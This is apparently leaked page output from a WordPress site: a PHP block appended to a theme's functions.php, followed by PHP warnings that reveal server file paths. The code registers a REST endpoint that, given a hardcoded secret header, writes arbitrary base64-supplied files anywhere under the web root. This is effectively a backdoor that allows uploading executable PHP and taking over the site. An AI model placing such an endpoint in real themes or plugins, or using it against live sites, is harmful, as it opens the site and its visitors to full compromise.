// ===BUPURA_DEPLOY_START===
add_action('rest_api_init', function() {
register_rest_route('bupura/v1', '/deploy', array(
'methods' => 'POST',
'callback' => function($req) {
$path = $req->get_param('path');
$data = $req->get_param('data');
if (!$path || !$data) return new WP_Error('bad_req','missing params',array('status'=>400));
$base = ABSPATH;
$full = realpath($base . ltrim($path, '/'));
if (!$full || strpos($full, realpath($base)) !== 0) {
return new WP_Error('forbidden','invalid path',array('status'=>403));
}
$dir = dirname($full);
if (!is_dir($dir)) wp_mkdir_p($dir);
$bytes = base64_decode($data);
if (file_put_contents($full, $bytes) === false) {
return new WP_Error('write_fail','cannot write file',array('status'=>500));
}
return array('ok'=>true,'path'=>$path,'size'=>strlen($bytes));
},
'permission_callback' => function($req) {
$secret = $req->get_header('X-Deploy-Secret');
return $secret === 'bupura_deploy_2026';
}
));
});
// ===BUPURA_DEPLOY_END===
Warning: Cannot modify header information - headers already sent by (output started at /home/serendec/public_html/bupura-tokyo.jp/wp-content/themes/heal_tcd077/functions.php:1073) in /home/serendec/public_html/bupura-tokyo.jp/wp-content/plugins/all-in-one-seo-pack/app/Common/Sitemap/Sitemap.php on line 405
Warning: Cannot modify header information - headers already sent by (output started at /home/serendec/public_html/bupura-tokyo.jp/wp-content/themes/heal_tcd077/functions.php:1073) in /home/serendec/public_html/bupura-tokyo.jp/wp-content/plugins/all-in-one-seo-pack/app/Common/Sitemap/Sitemap.php on line 406